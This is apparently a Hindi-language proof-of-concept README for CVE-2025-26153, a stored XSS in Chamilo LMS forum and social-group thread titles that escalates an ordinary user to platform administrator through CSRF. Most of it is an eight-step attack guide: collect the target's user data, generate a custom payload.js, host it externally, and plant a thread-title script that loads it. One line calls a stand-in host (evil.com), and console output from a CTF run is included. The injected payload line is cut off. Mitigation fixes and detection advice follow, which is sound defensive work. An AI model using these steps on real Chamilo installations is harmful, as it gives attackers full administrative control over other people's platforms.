Chamilo LMS (<= v2.0) - संग्रहीत XSS से विशेषाधिकार वृद्धि POC [CVE-2025-26153]

अवलोकन

यह रिपॉजिटरी एक प्रूफ ऑफ कॉन्सेप्ट है जो Chamilo LMS में संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी को प्रदर्शित करता है, जिसका उपयोग एक सामान्य उपयोगकर्ता से प्लेटफ़ॉर्म प्रशासक तक विशेषाधिकार वृद्धि प्राप्त करने के लिए किया जा सकता है। यह कमजोरी अनुक्रमित और पैच की गई है: https://nvd.nist.gov/vuln/detail/CVE-2025-26153

कमजोरी के विवरण

CVE जानकारी

• एप्लिकेशन: Chamilo LMS <= v2.0
• कमजोरी का प्रकार: संग्रहीत XSS जो विशेषाधिकार वृद्धि की ओर ले जाता है

तकनीकी विवरण

कमजोर कोड स्थान:

1. /public/main/forum/forumqualify.php - पंक्ति 277

   root@kitploit:~

   $form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
   

2. /public/main/forum/viewforum.php - पंक्ति 369

   root@kitploit:~

   .$thread->getTitle().'</a>';
   

3. और भी हैं!

मूल कारण:

• फ़ोरम थ्रेड शीर्षक बिना उचित स्वच्छता के संग्रहीत किए जाते हैं
• थ्रेड शीर्षक कई स्थानों पर HTML एस्केपिंग के बिना प्रदर्शित किए जाते हैं
• XSS निष्पादन को रोकने वाली कोई Content Security Policy (CSP) नहीं है

चरण-दर-चरण विशेषाधिकार वृद्धि मार्गदर्शिका

चरण 1: डेटा एकत्र करना

चरण 1: लक्ष्य उपयोगकर्ता जानकारी एकत्र करें

1. Chamilo LMS में लॉगिन करें
2. सोशल नेटवर्क -> व्यक्तिगत डेटा पर जाएं
3. user_info खोलें और निम्नलिखित जानकारी नोट करें:
   • उपयोगकर्ता आईडी
   • उपयोगकर्ता नाम
   • प्रथम नाम
   • अंतिम नाम
   • ईमेल पता

चरण 2: कस्टम पेलोड उत्पन्न करें

1. पेलोड जनरेटर चलाएँ:
   root@kitploit:~

   python generate_payload.py
   

2. चरण 1 से लक्ष्य उपयोगकर्ता आईडी दर्ज करें
3. वर्णन जानकारी दर्ज करें जिसे आप बदलना नहीं चाहते (या नए मान निर्दिष्ट करें)
4. स्क्रिप्ट एक अनुकूलित payload.js फ़ाइल उत्पन्न करेगी

चरण 3: पेलोड को बाहरी रूप से होस्ट करें

1. उत्पन्न payload.js को एक सार्वजनिक होस्टिंग सेवा पर अपलोड करें:
   • GitHub Gist (अनुशंसित)
   • GitHub Pages
   • आपका अपना वेब सर्वर
2. पेलोड फ़ाइल का सीधा URL नोट करें

चरण 2: XSS इंजेक्शन और निष्पादन

चरण 4: सामाजिक समूहों तक पहुँचें

1. Chamilo LMS में लॉगिन करें (किसी भी उपयोगकर्ता खाते से हो सकता है)
2. सोशल नेटवर्क -> सामाजिक समूह पर जाएं

चरण 5: सामाजिक समूह में शामिल हों या बनाएं

1. किसी मौजूदा सामाजिक समूह में शामिल हों, या
2. यदि आवश्यक हो तो एक नया सामाजिक समूह बनाएँ

चरण 6: XSS पेलोड तैनात करें

1. सामाजिक समूह में एक नया थ्रेड बनाएँ
2. थ्रेड शीर्षक फ़ील्ड में, निम्नलिखित XSS पेलोड दर्ज करें:
   root@kitploit:~

   eval(x.responseText);x.send()">
   

3. YOUR-HOST-SERVER को अपने वास्तविक होस्टिंग URL से बदलें
4. थ्रेड सबमिट करें

चरण 7: विशेषाधिकार वृद्धि ट्रिगर करें

1. प्रतीक्षा करें कि एक प्रशासनिक अधिकार वाला उपयोगकर्ता सामाजिक समूह देखे
2. जब व्यवस्थापक दुर्भावनापूर्ण थ्रेड देखता है, तो XSS पेलोड स्वचालित रूप से पृष्ठभूमि में निष्पादित होता है
3. विशेषाधिकार वृद्धि चुपचाप नहीं होती - व्यवस्थापक उपयोगकर्ता सूची पर रीडायरेक्ट हो जाएगा
4. निर्दिष्ट लक्ष्य उपयोगकर्ता बिना किसी दृश्य संकेत के प्लेटफ़ॉर्म प्रशासक के रूप में पदोन्नत हो जाएगा

चरण 3: सत्यापन

चरण 8: विशेषाधिकार वृद्धि की पुष्टि करें

1. लक्ष्य उपयोगकर्ता के रूप में लॉगिन करें
2. जांचें कि क्या प्रशासनिक अधिकार प्रदान किए गए हैं
3. प्रशासनिक कार्यों तक पहुंच सत्यापित करें

पेलोड जनरेटर का उपयोग

generate_payload.py स्क्रिप्ट विशेषाधिकार वृद्धि हमले के अनुकूलन की अनुमति देती है:

इनपुट पैरामीटर:

• लक्ष्य उपयोगकर्ता आईडी
• नया उपयोगकर्ता नाम
• नया पासवर्ड (वैकल्पिक)
• आधिकारिक कोड
• ईमेल पता
• प्रथम नाम, अंतिम नाम, फोन (वैकल्पिक)

हमले का उदाहरण प्रवाह

1. Attacker creates malicious forum thread
   └── Title: <script src=//evil.com/payload.js></script>

2. Admin user browses forum and views thread
   └── Browser loads and executes external JavaScript

3. Payload creates hidden form with privilege escalation data
   └── Targets specific User ID for promotion to admin

4. Form auto-submits via CSRF attack
   └── Uses admin's session cookies automatically

5. Target user becomes platform administrator
   └── Attacker gains full platform control

शमन रणनीतियाँ

तत्काल सुधार

1. इनपुट स्वच्छता

   root@kitploit:~

   // Before
   $threadEntity->getTitle()
   
   // After  
   htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
   

2. आउटपुट एन्कोडिंग

   root@kitploit:~

   <!-- Before -->
   {{ thread.title }}
   
   <!-- After -->
   {{ thread.title|escape }}
   

3. सामग्री सुरक्षा नीति

   root@kitploit:~

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

दीर्घकालिक समाधान

• व्यापक इनपुट सत्यापन ढाँचा लागू करें
• नियमित सुरक्षा कोड समीक्षा
• CI/CD पाइपलाइन में स्वचालित सुरक्षा परीक्षण
• विकास टीम के लिए सुरक्षा प्रशिक्षण

पहचान और निगरानी

लॉग विश्लेषण

निगरानी करें:

• असामान्य व्यवस्थापक उपयोगकर्ता निर्माण/संशोधन
• HTML/JavaScript युक्त संदिग्ध फ़ोरम थ्रेड शीर्षक
• अविश्वसनीय डोमेन से बाहरी स्क्रिप्ट लोड होना

कानूनी अस्वीकरण

महत्वपूर्ण कानूनी सूचना

यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।

• केवल उन प्रणालियों के विरुद्ध उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति है
• कंप्यूटर सिस्टम तक अनधिकृत पहुंच अधिकांश क्षेत्राधिकारों में अवैध है
• यह शोध संगठनों को उनकी सुरक्षा स्थिति में सुधार करने में मदद करने के लिए है
• लेखक इस जानकारी के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं

अनुसंधान श्रेय

खोज और विश्लेषण: US Cyber Combine

परीक्षण वातावरण: USCG CTF Environment

सफल हमले से कंसोल आउटपुट:

XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200